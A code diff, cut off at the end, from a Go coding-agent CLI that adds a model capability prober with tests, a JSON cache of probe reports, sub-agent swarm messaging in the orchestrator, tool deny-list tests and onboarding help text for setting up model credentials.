&apitypes.MessageResponse{Usage: apitypes.Usage{InputTokens: 8, OutputTokens: 1}}}, + {Kind: "content_block_start", Index: 0, ContentBlock: &apitypes.OutputContentBlock{Kind: "text"}}, + {Kind: "content_block_delta", Index: 0, BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: "OK"}}, + {Kind: "content_block_stop", Index: 0}, + {Kind: "message_delta", DeltaUsage: &apitypes.Usage{OutputTokens: 1}}, + {Kind: "message_stop"}, + }, nil +} + +// capableModel behaves like a current frontier model on every probe. +func capableModel() *fakeModel { + return &fakeModel{ + stream: goodStream, + send: func(req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + prompt := req.Messages[0].Content[0].Text + switch { + case req.System != "": + return textResp("PINEAPPLE"), nil + case strings.Contains(prompt, "Tokyo"): + return toolResp(`{"city":"Paris"}`, `{"city":"Tokyo"}`), nil + case len(req.Tools) > 0: + return toolResp(`{"city":"Paris"}`), nil + } + return textResp("unexpected probe"), nil + }, + } +} + +func check(t *testing.T, rep Report, name string) Check { + t.Helper() + for _, c := range rep.Checks { + if c.Name == name { + return c + } + } + t.Fatalf("no check %q in %+v", name, rep.Checks) + return Check{} +} + +func TestProbeCapableModelPassesEverything(t *testing.T) { + m := capableModel() + rep := Prober{Provider: m, Model: "gpt-4o"}.Run(context.Background()) + + if !rep.AllOK() { + t.Fatalf("expected all checks to pass:\n%s", rep.Render()) + } + if len(rep.Checks) != 4 || rep.Checks[0].Name != CheckStreaming || rep.Checks[3].Name != CheckParallel { + t.Errorf("checks = %+v", rep.Checks) + } + if !strings.HasPrefix(check(t, rep, CheckStreaming).Detail, "first token in") { + t.Errorf("streaming detail = %q", check(t, rep, CheckStreaming).Detail) + } + if d := check(t, rep, CheckToolCall).Detail; d != `arguments {"city":"Paris"}` { + t.Errorf("tool call detail should echo the arguments as JSON, got %q", d) + } + if d := check(t, rep, CheckParallel).Detail; d != "2 calls in one turn" { + t.Errorf("parallel detail = %q", d) + } + // One stream + three sends, and the probe's own spend is summed. + if len(m.sent) != 4 { + t.Errorf("requests made = %d, want 4", len(m.sent)) + } + if rep.Usage.InputTokens != 8+10+40+40 || rep.Usage.OutputTokens != 1+2+12+12 { + t.Errorf("probe usage = %+v", rep.Usage) + } + if rep.Model != "gpt-4o" || rep.ProbedAt.IsZero() { + t.Errorf("report header = %+v", rep) + } + // Probes are cheap by construction. + for _, req := range m.sent { + if req.MaxTokens != 256 { + t.Errorf("probe request max_tokens = %d, want 256", req.MaxTokens) + } + } +} + +func TestProbeWeakModelReportsEachGapPlainly(t *testing.T) { + m := &fakeModel{ + stream: func(apitypes.MessageRequest) ([]apitypes.StreamEvent, error) { + return []apitypes.StreamEvent{ + {Kind: "message_start", Message: &apitypes.MessageResponse{}}, + {Kind: "error", BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: "Error: stream interrupted: unexpected EOF"}}, + }, nil + }, + send: func(req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + if req.System != "" { + return textResp("Hello! How can I help you today?"), nil + } + return textResp("The weather in Paris is sunny."), nil // never calls the tool + }, + } + rep := Prober{Provider: m, Model: "weak"}.Run(context.Background()) + + if rep.AllOK() { + t.Fatal("nothing should pass") + } + if c := check(t, rep, CheckStreaming); c.OK || !strings.Contains(c.Detail, "stream interrupted") { + t.Errorf("streaming = %+v", c) + } + if c := check(t, rep, CheckSystemPrompt); c.OK || !strings.Contains(c.Detail, "ignored") || !strings.Contains(c.Detail, "Hello!") { + t.Errorf("system prompt = %+v", c) + } + if c := check(t, rep, CheckToolCall); c.OK || !strings.Contains(c.Detail, "no tool_use block") || !strings.Contains(c.Detail, "end_turn") { + t.Errorf("tool call = %+v", c) + } + // Parallel is not probed when a single call already failed: no point + // spending tokens to learn the same thing twice. + if c := check(t, rep, CheckParallel); c.OK || !strings.HasPrefix(c.Detail, "skipped") { + t.Errorf("parallel = %+v", c) + } + if len(m.sent) != 3 { + t.Errorf("requests made = %d, want 3 (parallel skipped)", len(m.sent)) + } +} + +func TestProbeSerialToolUserIsNamedNotFailed(t *testing.T) { + m := capableModel() + m.send = func(req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + if req.System != "" { + return textResp("PINEAPPLE"), nil + } + return toolResp(`{"city":"Paris"}`), nil // always exactly one call + } + rep := Prober{Provider: m, Model: "serial"}.Run(context.Background()) + if c := check(t, rep, CheckToolCall); !c.OK { + t.Errorf("single tool call should pass: %+v", c) + } + if c := check(t, rep, CheckParallel); c.OK || !strings.Contains(c.Detail, "serialises") { + t.Errorf("parallel = %+v", c) + } + if ok, known := rep.Supports(CheckParallel); ok || !known { + t.Errorf("Supports(parallel) = %v,%v", ok, known) + } + if _, known := rep.Supports("nonsense"); known { + t.Error("unknown check must not be reported as known") + } +} + +func TestProbeToolArgumentQuality(t *testing.T) { + cases := []struct { + name, args, wantDetail string + }{ + {"invalid json wrapped by provider layer", `{"raw":"{\"city\": Paris}"}`, "not valid JSON"}, + {"not an object", `["Paris"]`, "not a JSON object"}, + {"missing required field", `{"location":"Paris"}`, "city"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + m := capableModel() + m.send = func(req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + if req.System != "" { + return textResp("PINEAPPLE"), nil + } + return toolResp(tc.args), nil + } + rep := Prober{Provider: m, Model: "m"}.Run(context.Background()) + if c := check(t, rep, CheckToolCall); c.OK || !strings.Contains(c.Detail, tc.wantDetail) { + t.Errorf("tool call = %+v, want detail mentioning %q", c, tc.wantDetail) + } + }) + } +} + +func TestProbeRequestErrorsAreCheckResultsNotPanics(t *testing.T) { + boom := apitypes.NewApiError(401, "authentication_error", "invalid x-api-key", "") + m := &fakeModel{ + stream: func(apitypes.MessageRequest) ([]apitypes.StreamEvent, error) { return nil, boom }, + send: func(apitypes.MessageRequest) (*apitypes.MessageResponse, error) { return nil, boom }, + } + rep := Prober{Provider: m, Model: "m"}.Run(context.Background()) + if len(rep.Checks) != 4 { + t.Fatalf("every check should still be reported: %+v", rep.Checks) + } + for _, c := range rep.Checks[:3] { + if c.OK || !strings.Contains(c.Detail, "invalid x-api-key") { + t.Errorf("%s = %+v, want the API error surfaced", c.Name, c) + } + } + if rep.Usage != (apitypes.Usage{}) { + t.Errorf("failed requests must not count usage: %+v", rep.Usage) + } +} + +func TestProbeStreamWithoutStopIsSuspect(t *testing.T) { + m := capableModel() + m.stream = func(apitypes.MessageRequest) ([]apitypes.StreamEvent, error) { + return []apitypes.StreamEvent{ + {Kind: "content_block_delta", Index: 0, BlockDelta: &apitypes.ContentBlockDelta{Kind: "text_delta", Text: "OK"}}, + }, nil + } + rep := Prober{Provider: m, Model: "m"}.Run(context.Background()) + if c := check(t, rep, CheckStreaming); c.OK || !strings.Contains(c.Detail, "message_stop") { + t.Errorf("streaming = %+v", c) + } +} + +func TestProbeHonoursPerCheckTimeout(t *testing.T) { + // Every SendMessage hangs for longer than the per-check budget; the + // context the prober passes must be what cuts it short. + m := capableModel() + m.delay = 2 * time.Second + start := time.Now() + rep := Prober{Provider: m, Model: "m", Timeout: 20 * time.Millisecond}.Run(context.Background()) + if elapsed := time.Since(start); elapsed > time.Second { + t.Fatalf("probe took %s; the timeout was not applied", elapsed) + } + for _, name := range []string{CheckSystemPrompt, CheckToolCall} { + if c := check(t, rep, name); c.OK || !errors.Is(context.DeadlineExceeded, context.DeadlineExceeded) || !strings.Contains(c.Detail, context.DeadlineExceeded.Error()) { + t.Errorf("%s = %+v, want the deadline surfaced", name, c) + } + } + // Streaming has no delay in the fake and is unaffected by the others. + if c := check(t, rep, CheckStreaming); !c.OK { + t.Errorf("streaming = %+v", c) + } +} + +func TestRenderShape(t *testing.T) { + rep := Prober{Provider: capableModel(), Model: "gpt-4o"}.Run(context.Background()) + out := rep.Render() + lines := strings.Split(out, "\n") + if len(lines) != 5 { + t.Fatalf("want header + 4 checks:\n%s", out) + } + if !strings.HasPrefix(lines[0], "Model: gpt-4o") || !strings.Contains(lines[0], "probe cost: 98 in / 27 out") { + t.Errorf("header = %q", lines[0]) + } + for _, l := range lines[1:] { + if !strings.HasPrefix(l, " ✓ ") { + t.Errorf("check line = %q", l) + } + } + // Names are padded to one column so details line up. + col := strings.Index(lines[1], "first token") + if col < 0 || strings.Index(lines[2], "honoured") != col { + t.Errorf("details not aligned:\n%s", out) + } + rep.Checks[3].OK = false + if !strings.Contains(rep.Render(), " ✗ parallel tool calls") { + t.Error("failed checks render with ✗") + } +} + +func TestStoreRoundTrip(t *testing.T) { + path := filepath.Join(t.TempDir(), "nested", "capabilities.json") + s := NewStore(path) + if _, ok := s.Get("gpt-4o"); ok { + t.Fatal("empty store must not report a cached probe") + } + if reports, err := s.Load(); err != nil || len(reports) != 0 { + t.Fatalf("missing file should load as empty: %v %v", reports, err) + } + + rep := Prober{Provider: capableModel(), Model: "gpt-4o"}.Run(context.Background()) + if err := s.Put(rep); err != nil { + t.Fatal(err) + } + other := rep + other.Model = "claude-sonnet-4-6" + if err := s.Put(other); err != nil { + t.Fatal(err) + } + + got, ok := NewStore(path).Get("gpt-4o") + if !ok || got.Model != "gpt-4o" || len(got.Checks) != 4 || !got.AllOK() { + t.Errorf("round trip lost data: %+v", got) + } + if got.Usage != rep.Usage || !got.ProbedAt.Equal(rep.ProbedAt) { + t.Errorf("usage/time changed across round trip: %+v vs %+v", got, rep) + } + if reports, _ := s.Load(); len(reports) != 2 { + t.Errorf("second Put must not overwrite the first: %d entries", len(reports)) + } + + if err := os.WriteFile(path, []byte("{corrupt"), 0o644); err != nil { + t.Fatal(err) + } + if _, err := s.Load(); err == nil { + t.Error("corrupt cache must be an error, not an empty cache") + } + if _, ok := s.Get("gpt-4o"); ok { + t.Error("Get on a corrupt cache must miss") + } + // Put recovers by starting over rather than failing forever. + if err := s.Put(rep); err != nil { + t.Errorf("Put over corrupt file: %v", err) + } + if _, ok := s.Get("gpt-4o"); !ok { + t.Error("Put should have replaced the corrupt file") + } + + if NewStore("").Path() != filepath.Join(".gocode", "capabilities.json") { + t.Errorf("default path = %s", NewStore("").Path()) + } +} diff --git a/internal/doctor/store.go b/internal/doctor/store.go new file mode 100644 index 0000000..ef481b5 --- /dev/null +++ b/internal/doctor/store.go @@ -0,0 +1,74 @@ +package doctor + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" +) + +// Store caches one Report per model in a JSON file, by default +// .gocode/capabilities.json in the working directory. +type Store struct { + path string +} + +// NewStore returns a store at path, or the default location when path is "". +func NewStore(path string) *Store { + if path == "" { + path = filepath.Join(".gocode", "capabilities.json") + } + return &Store{path: path} +} + +// Path is where the store reads and writes. +func (s *Store) Path() string { return s.path } + +// Load reads every cached report. A missing file is an empty cache, not an +// error; a corrupt file is an error, so a bad write cannot masquerade as +// "never probed". +func (s *Store) Load() (map[string]Report, error) { + data, err := os.ReadFile(s.path) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return map[string]Report{}, nil + } + return nil, err + } + var reports map[string]Report + if err := json.Unmarshal(data, &reports); err != nil { + return nil, err + } + if reports == nil { + reports = map[string]Report{} + } + return reports, nil +} + +// Get returns the cached report for a model. +func (s *Store) Get(model string) (Report, bool) { + reports, err := s.Load() + if err != nil { + return Report{}, false + } + r, ok := reports[model] + return r, ok +} + +// Put stores a report under its model id, creating the parent directory. +func (s *Store) Put(r Report) error { + reports, err := s.Load() + if err != nil { + // Do not let one corrupt file block every future probe; start over. + reports = map[string]Report{} + } + reports[r.Model] = r + if err := os.MkdirAll(filepath.Dir(s.path), 0o755); err != nil { + return err + } + data, err := json.MarshalIndent(reports, "", " ") + if err != nil { + return err + } + return os.WriteFile(s.path, data, 0o644) +} diff --git a/internal/orchestrator/orchestrator.go b/internal/orchestrator/orchestrator.go index 346e04c..bd791f1 100644 --- a/internal/orchestrator/orchestrator.go +++ b/internal/orchestrator/orchestrator.go @@ -4,10 +4,13 @@ import ( "context" "encoding/json" "fmt" + "strings" + "sync" "github.com/AlleyBo55/gocode/internal/agent" "github.com/AlleyBo55/gocode/internal/apiclient" "github.com/AlleyBo55/gocode/internal/apitypes" + "github.com/AlleyBo55/gocode/internal/swarm" ) // SubAgentDef defines a specialist agent profile. @@ -32,6 +35,22 @@ type Orchestrator struct { router *apiclient.ModelRouter executor agent.ToolExecutor maxBgAgent int + + // Swarm, when set, makes every delegated agent a member: it is registered + // under a unique instance name for the duration of its run, gets the + // send_agent_message and list_agents tools bound to that name, and reads + // its inbox before each turn. Background agents post their result to the + // main agent's inbox when they finish. + Swarm *swarm.SwarmManager + + mu sync.Mutex + seq map[string]int // per-profile instance counter for unique names +} + +// WithSwarm attaches a swarm manager and returns the orchestrator for chaining. +func (o *Orchestrator) WithSwarm(s *swarm.SwarmManager) *Orchestrator { + o.Swarm = s + return o } // NewOrchestrator creates an orchestrator with built-in sub-agent profiles @@ -87,43 +106,81 @@ func (o *Orchestrator) Register(def SubAgentDef) { // Delegate spawns a new ConversationRuntime for the named sub-agent, // sends the task, and returns the agent's text output. func (o *Orchestrator) Delegate(ctx context.Context, agentName string, task string) (string, error) { + output, _, err := o.delegate(ctx, agentName, task) + return output, err +} + +// delegate runs one sub-agent and also returns the swarm instance name it ran +// under, so a background completion can be attributed. +func (o *Orchestrator) delegate(ctx context.Context, agentName string, task string) (string, string, error) { def, ok := o.registry[agentName] if !ok { - return "", fmt.Errorf("unknown sub-agent: %q", agentName) + return "", "", fmt.Errorf("unknown sub-agent: %q", agentName) } provider, err := o.router.Route(def.Category) if err != nil { - return "", fmt.Errorf("routing for agent %q: %w", agentName, err) + return "", "", fmt.Errorf("routing for agent %q: %w", agentName, err) } // Build a tool executor that respects the sub-agent's tool permissions. exec := o.filteredExecutor(def) - - rt := agent.NewConversationRuntime(agent.RuntimeOptions{ + opts := agent.RuntimeOptions{ Provider: provider, Executor: exec, Model: resolveModel(def, provider), MaxTokens: 8192, MaxIterations: 30, SystemPrompt: def.SystemPrompt, - }) + } + + instance := agentName + if o.Swarm != nil { + instance = o.nextInstanceName(agentName) + if err := o.Swarm.Register(instance, def.ToolPerms, string(def.Category)); err != nil { + return "", "", fmt.Errorf("joining swarm as %q: %w", instance, err) + } + defer o.Swarm.Unregister(instance) + opts.Executor = swarm.WrapExecutor(exec, o.Swarm, instance) + opts.Inbox = o.Swarm.InboxFor(instance) + opts.SystemPrompt = def.SystemPrompt + "\n\nYou are agent \"" + instance + "\" in a swarm. " + + "Other agents may message you; their messages appear at the start of a turn. " + + "Report to \"" + swarm.MainAgent + "\" with send_agent_message when you have something it should know before you finish." + } + rt := agent.NewConversationRuntime(opts) resp, err := rt.SendUserMessage(ctx, task) if err != nil { - return "", fmt.Errorf("sub-agent %q failed: %w", agentName, err) + return "", instance, fmt.Errorf("sub-agent %q failed: %w", instance, err) } + return extractTextOutput(resp), instance, nil +} - return extractTextOutput(resp), nil +// nextInstanceName gives each spawn of a profile its own swarm identity: +// deep-worker-1, deep-worker-2, ... Two parallel deep-workers must not share +// a mailbox. +func (o *Orchestrator) nextInstanceName(profile string) string { + o.mu.Lock() + defer o.mu.Unlock() + if o.seq == nil { + o.seq = make(map[string]int) + } + o.seq[profile]++ + return fmt.Sprintf("%s-%d", profile, o.seq[profile]) } // DelegateBackground spawns a background agent in a goroutine. -// Returns a channel that will receive exactly one AgentResult. +// Returns a channel that will receive exactly one AgentResult. With a swarm +// attached, the result is also posted to the main agent's inbox, so the +// interactive session hears about it on its next turn without polling. func (o *Orchestrator) DelegateBackground(ctx context.Context, agentName string, task string) <-chan AgentResult { ch := make(chan AgentResult, 1) go func() { defer close(ch) - output, err := o.Delegate(ctx, agentName, task) + output, instance, err := o.delegate(ctx, agentName, task) + if o.Swarm != nil { + o.reportToMain(instance, task, output, err) + } ch <- AgentResult{ AgentName: agentName, Output: output, @@ -133,6 +190,29 @@ func (o *Orchestrator) DelegateBackground(ctx context.Context, agentName string, return ch } +// reportToMain posts a background agent's outcome to the main agent. The +// report is bounded so a verbose agent cannot flood the main context; the +// full output is still available to whoever holds the result channel. +func (o *Orchestrator) reportToMain(instance, task, output string, err error) { + const maxReport = 4000 + var b strings.Builder + if err != nil { + fmt.Fprintf(&b, "Background agent %s failed on task %q: %v", instance, truncate(task, 200), err) + } else { + fmt.Fprintf(&b, "Background agent %s finished task %q.\n\n%s", instance, truncate(task, 200), truncate(output, maxReport)) + } + // Delivery can fail only if main is not registered or its mailbox is full; + // neither is worth failing the agent over. + _ = o.Swarm.SendMessage(instance, swarm.MainAgent, b.String()) +} + +func truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + fmt.Sprintf("… [%d more bytes]", len(s)-n) +} + // --- ToolExecutor interface implementation --- // The Orchestrator implements agent.ToolExecutor so that delegation // appears as tool calls (orchestrator_delegate, orchestrator_delegate_bg) diff --git a/internal/orchestrator/swarm_test.go b/internal/orchestrator/swarm_test.go new file mode 100644 index 0000000..c12cfa7 --- /dev/null +++ b/internal/orchestrator/swarm_test.go @@ -0,0 +1,242 @@ +package orchestrator + +import ( + "context" + "encoding/json" + "strings" + "testing" + "time" + + "github.com/AlleyBo55/gocode/internal/agent" + "github.com/AlleyBo55/gocode/internal/apiclient" + "github.com/AlleyBo55/gocode/internal/apitypes" + "github.com/AlleyBo55/gocode/internal/swarm" +) + +// scriptProvider answers each request with the next scripted reply and lets +// the test observe every request the sub-agent made. +type scriptProvider struct { + replies []func(req apitypes.MessageRequest) *apitypes.MessageResponse + requests []apitypes.MessageRequest +} + +func (p *scriptProvider) SendMessage(_ context.Context, req apitypes.MessageRequest) (*apitypes.MessageResponse, error) { + p.requests = append(p.requests, req) + i := len(p.requests) - 1 + if i >= len(p.replies) { + return textReply("done"), nil + } + return p.replies[i](req), nil +} + +func (p *scriptProvider) StreamMessage(context.Context, apitypes.MessageRequest) (<-chan apitypes.StreamEvent, error) { + ch := make(chan apitypes.StreamEvent) + close(ch) + return ch, nil +} + +func (p *scriptProvider) Kind() apiclient.ProviderKind { return apiclient.ProviderAnthropic } + +func textReply(text string) *apitypes.MessageResponse { + return &apitypes.MessageResponse{Role: "assistant", StopReason: "end_turn", Content: []apitypes.OutputContentBlock{{Kind: "text", Text: text}}} +} + +func toolReply(id, name, args string) *apitypes.MessageResponse { + return &apitypes.MessageResponse{Role: "assistant", StopReason: "tool_use", Content: []apitypes.OutputContentBlock{ + {Kind: "tool_use", ID: id, Name: name, Input: json.RawMessage(args)}, + }} +} + +func routerFor(p apiclient.Provider) *apiclient.ModelRouter { + fp := apiclient.NewFallbackProvider([]apiclient.FallbackEntry{{Model: "test-model", Provider: p}}, nil) + return apiclient.NewModelRouter(map[apiclient.TaskCategory]*apiclient.FallbackProvider{ + apiclient.CategoryQuick: fp, apiclient.CategoryDeep: fp, + }) +} + +func TestDelegateJoinsTheSwarmAndCanBeMessagedMidRun(t *testing.T) { + mgr := swarm.NewSwarmManager(10) + if err := mgr.Register(swarm.MainAgent, nil, "main"); err != nil { + t.Fatal(err) + } + + var seenDuringRun []swarm.AgentInfo + p := &scriptProvider{} + p.replies = []func(apitypes.MessageRequest) *apitypes.MessageResponse{ + // Turn 1: the sub-agent is registered by now. A sibling (main here) + // messages it, and it calls list_agents. + func(apitypes.MessageRequest) *apitypes.MessageResponse { + seenDuringRun = mgr.ListAgents() + if err := mgr.SendMessage(swarm.MainAgent, "deep-worker-1", "focus on go.mod"); err != nil { + t.Errorf("main could not message the running sub-agent: %v", err) + } + return toolReply("t1", "list_agents", `{}`) + }, + // Turn 2: it should now see both the tool result and the message. + func(apitypes.MessageRequest) *apitypes.MessageResponse { + return toolReply("t2", "send_agent_message", `{"to":"main","message":"go.mod says example.com"}`) + }, + func(apitypes.MessageRequest) *apitypes.MessageResponse { return textReply("finished") }, + } + + o := NewOrchestrator(routerFor(p), agent.NewStaticExecutor()).WithSwarm(mgr) + out, err := o.Delegate(context.Background(), "deep-worker", "inspect the module") + if err != nil || out != "finished" { + t.Fatalf("out=%q err=%v", out, err) + } + + // Registered under an instance name while running, gone afterwards. + names := map[string]bool{} + for _, a := range seenDuringRun { + names[a.Name] = true + } + if !names["deep-worker-1"] || !names[swarm.MainAgent] { + t.Errorf("during the run the swarm should hold main and deep-worker-1, saw %v", names) + } + for _, a := range mgr.ListAgents() { + if a.Name == "deep-worker-1" { + t.Error("sub-agent must leave the swarm when it finishes") + } + } + + // The sub-agent was offered the swarm tools in addition to its own. + tools := map[string]bool{} + for _, d := range p.requests[0].Tools { + tools[d.Name] = true + } + if !tools[swarm.ToolSendMessage] || !tools[swarm.ToolListAgents] { + t.Errorf("swarm tools not offered to the sub-agent: %v", tools) + } + if !strings.Contains(p.requests[0].System, `agent "deep-worker-1" in a swarm`) { + t.Errorf("system prompt should name the instance: %q", p.requests[0].System) + } + + // Turn 2 saw: prompt, assistant tool_use, tool_result (agent list), inbox. + second := p.requests[1].Messages + if len(second) != 4 { + t.Fatalf("turn 2 had %d messages: %+v", len(second), second) + } + list := second[2].Content[0] + if list.Kind != "tool_result" || list.IsError || !strings.Contains(list.Content, "deep-worker-1\trunning\tdeep\t(you)") || !strings.Contains(list.Content, "main\trunning") { + t.Errorf("list_agents result = %+v", list) + } + if second[3].Role != "user" || !strings.Contains(second[3].Content[0].Text, "[message from main]\nfocus on go.mod") { + t.Errorf("message from main not delivered before turn 2: %+v", second[3]) + } + + // Its message to main arrived with the right sender. + inbox := mgr.Drain(swarm.MainAgent) + if len(inbox) != 1 || inbox[0].From != "deep-worker-1" || inbox[0].Content != "go.mod says example.com" { + t.Errorf("main inbox = %+v", inbox) + } + // And send_agent_message reported success to the model. + sent := p.requests[2].Messages + res := sent[len(sent)-1].Content[0] + if res.Kind != "tool_result" || res.IsError || !strings.Contains(res.Content, "delivered to main") { + t.Errorf("send result = %+v", res) + } +} + +func TestInstanceNamesAreUniqueAndSequential(t *testing.T) { + mgr := swarm.NewSwarmManager(10) + _ = mgr.Register(swarm.MainAgent, nil, "main") + var systems []string + p := &scriptProvider{replies: []func(apitypes.MessageRequest) *apitypes.MessageResponse{ + func(r apitypes.MessageRequest) *apitypes.MessageResponse { + systems = append(systems, r.System) + return textReply("a") + }, + func(r apitypes.MessageRequest) *apitypes.MessageResponse { + systems = append(systems, r.System) + return textReply("b") + }, + func(r apitypes.MessageRequest) *apitypes.MessageResponse { + systems = append(systems, r.System) + return textReply("c") + }, + }} + o := NewOrchestrator(routerFor(p), agent.NewStaticExecutor()).WithSwarm(mgr) + for _, profile := range []string{"planner", "planner", "debugger"} { + if _, err := o.Delegate(context.Background(), profile, "x"); err != nil { + t.Fatal(err) + } + } + for i, want := range []string{`"planner-1"`, `"planner-2"`, `"debugger-1"`} { + if !strings.Contains(systems[i], want) { + t.Errorf("run %d should be %s: %q", i, want, systems[i]) + } + } +} + +func TestBackgroundAgentReportsToMain(t *testing.T) { + mgr := swarm.NewSwarmManager(10) + _ = mgr.Register(swarm.MainAgent, nil, "main") + p := &scriptProvider{replies: []func(apitypes.MessageRequest) *apitypes.MessageResponse{ + func(apitypes.MessageRequest) *apitypes.MessageResponse { + return textReply("The bug is in parse.go line 40.") + }, + }} + o := NewOrchestrator(routerFor(p), agent.NewStaticExecutor()).WithSwarm(mgr) + + ch := o.DelegateBackground(context.Background(), "debugger", "find the parse bug") + select { + case res := <-ch: + if res.Err != nil || res.Output != "The bug is in parse.go line 40." { + t.Fatalf("result = %+v", res) + } + case <-time.After(5 * time.Second): + t.Fatal("background agent did not finish") + } + + inbox := mgr.Drain(swarm.MainAgent) + if len(inbox) != 1 { + t.Fatalf("main inbox = %+v", inbox) + } + if inbox[0].From != "debugger-1" || !strings.Contains(inbox[0].Content, `finished task "find the parse bug"`) || !strings.Contains(inbox[0].Content, "parse.go line 40") { + t.Errorf("report = %+v", inbox[0]) + } +} + +func TestBackgroundFailureIsReportedNotSwallowed(t *testing.T) { + mgr := swarm.NewSwarmManager(10) + _ = mgr.Register(swarm.MainAgent, nil, "main") + o := NewOrchestrator(routerFor(&scriptProvider{}), agent.NewStaticExecutor()).WithSwarm(mgr) + res := <-o.DelegateBackground(context.Background(), "no-such-profile", "x") + if res.Err == nil { + t.Fatal("unknown profile must error") + } + inbox := mgr.Drain(swarm.MainAgent) + if len(inbox) != 1 || !strings.Contains(inbox[0].Content, "failed") || !strings.Contains(inbox[0].Content, "unknown sub-agent") { + t.Errorf("failure not reported to main: %+v", inbox) + } +} + +func TestReportToMainIsBounded(t *testing.T) { + mgr := swarm.NewSwarmManager(10) + _ = mgr.Register(swarm.MainAgent, nil, "main") + o := NewOrchestrator(routerFor(&scriptProvider{}), agent.NewStaticExecutor()).WithSwarm(mgr) + o.reportToMain("planner-9", strings.Repeat("t", 500), strings.Repeat("o", 50_000), nil) + inbox := mgr.Drain(swarm.MainAgent) + if len(inbox) != 1 || len(inbox[0].Content) > 5000 || !strings.Contains(inbox[0].Content, "more bytes]") { + t.Errorf("report not bounded: %d bytes", len(inbox[0].Content)) + } +} + +func TestWithoutSwarmNothingChanges(t *testing.T) { + p := &scriptProvider{replies: []func(apitypes.MessageRequest) *apitypes.MessageResponse{ + func(apitypes.MessageRequest) *apitypes.MessageResponse { return textReply("plain") }, + }} + o := NewOrchestrator(routerFor(p), agent.NewStaticExecutor()) + out, err := o.Delegate(context.Background(), "planner", "x") + if err != nil || out != "plain" { + t.Fatalf("out=%q err=%v", out, err) + } + for _, d := range p.requests[0].Tools { + if swarm.IsSwarmTool(d.Name) { + t.Errorf("swarm tools offered without a swarm: %s", d.Name) + } + } + if strings.Contains(p.requests[0].System, "swarm") { + t.Error("system prompt mentions a swarm that is not attached") + } +} diff --git a/internal/permissions/permissions_test.go b/internal/permissions/permissions_test.go new file mode 100644 index 0000000..e872fca --- /dev/null +++ b/internal/permissions/permissions_test.go @@ -0,0 +1,51 @@ +package permissions + +import "testing" + +func TestIsBlockedDecisionTable(t *testing.T) { + cases := []struct { + name string + denyNames []string + denyPrefixes []string + tool string + want bool + }{ + {"empty context blocks nothing", nil, nil, "BashTool", false}, + {"exact name blocks", []string{"BashTool"}, nil, "BashTool", true}, + {"exact name is case-insensitive both ways", []string{"bashtool"}, nil, "BASHTOOL", true}, + {"exact name does not block a prefix of itself", []string{"BashTool"}, nil, "Bash", false}, + {"exact name does not block a longer name", []string{"Bash"}, nil, "BashTool", false}, + {"prefix blocks", nil, []string{"mcp__"}, "mcp__github__create_issue", true}, + {"prefix is case-insensitive", nil, []string{"MCP__"}, "mcp__x", true}, + {"prefix is anchored at the start", nil, []string{"github"}, "mcp__github__x", false}, + {"either list is enough", []string{"Other"}, []string{"mcp__"}, "mcp__x", true}, + {"unrelated tool passes", []string{"BashTool"}, []string{"mcp__"}, "FileReadTool", false}, + // A deny-list is conservative: an empty prefix matches every name. + // A config typo that produces "" therefore blocks all tools, which is + // loud and safe rather than silent and permissive. + {"empty prefix blocks everything", nil, []string{""}, "FileReadTool", true}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + ctx := NewToolPermissionContext(tc.denyNames, tc.denyPrefixes) + if got := ctx.IsBlocked(tc.tool); got != tc.want { + t.Errorf("IsBlocked(%q) = %v, want %v", tc.tool, got, tc.want) + } + }) + } +} + +func TestToolPermissionContextDoesNotAliasItsInputs(t *testing.T) { + names := []string{"BashTool"} + prefixes := []string{"mcp__"} + ctx := NewToolPermissionContext(names, prefixes) + names[0] = "Other" + prefixes[0] = "zzz" + if !ctx.IsBlocked("BashTool") || !ctx.IsBlocked("mcp__x") { + t.Error("context must copy its inputs; it is documented as immutable after construction") + } +} + +func TestToolPermissionContextSatisfiesChecker(t *testing.T) { + var _ PermissionChecker = NewToolPermissionContext(nil, nil) +} diff --git a/internal/repl/onboarding.go b/internal/repl/onboarding.go new file mode 100644 index 0000000..429b0e9 --- /dev/null +++ b/internal/repl/onboarding.go @@ -0,0 +1,59 @@ +package repl + +import ( + "fmt" + "strings" + + "github.com/AlleyBo55/gocode/internal/apiclient" +) + +// MissingCredentialsHelp is what a new user sees instead of a bare +// "missing credentials" error. It gives every kind of user a path that works +// in one command: no signup, one key, or the key they already have. When a +// local server is running, its installed models are named so the first +// command can be copied as-is. +func MissingCredentialsHelp(model string, cause error, local apiclient.LocalServer, localFound bool) string { + var b strings.Builder + fmt.Fprintf(&b, "gocode needs a model to talk to, and none is set up for %q.\n", model) + if cause != nil { + fmt.Fprintf(&b, " (%v)\n", cause) + } + b.WriteString("\nThree ways to start. Pick one:\n\n") + + // 1. Local. + switch { + case localFound && len(local.Models) > 0: + suggested := apiclient.SuggestLocalModel(local.Models) + fmt.Fprintf(&b, " Free, private, no signup — %s is running with %s:\n", local.Name, joinModels(local.Models, 4)) + fmt.Fprintf(&b, " gocode chat --model %s\n\n", suggested) + case localFound: + fmt.Fprintf(&b, " Free, private, no signup — %s is running but has no models yet:\n", local.Name) + b.WriteString(" ollama pull qwen2.5-coder:7b\n") + b.WriteString(" gocode chat --model qwen2.5-coder:7b\n\n") + default: + b.WriteString(" Free, private, no signup — install Ollama (https://ollama.com), then:\n") + b.WriteString(" ollama pull qwen2.5-coder:7b\n") + b.WriteString(" gocode chat --model qwen2.5-coder:7b\n\n") + } + + // 2. One key. + b.WriteString(" One key, every hosted model — https://openrouter.ai/keys\n") + b.WriteString(" export OPENROUTER_API_KEY=sk-or-...\n") + b.WriteString(" gocode chat --model anthropic/claude-sonnet-4-6\n\n") + + // 3. Own key. + b.WriteString(" Your own provider key:\n") + b.WriteString(" export ANTHROPIC_API_KEY=sk-ant-... # or OPENAI_API_KEY, GEMINI_API_KEY, GROQ_API_KEY, ...\n") + b.WriteString(" gocode chat\n\n") + + b.WriteString("Then: gocode doctor shows which keys and tools are set up\n") + b.WriteString(" gocode doctor --model NAME checks what a model can actually 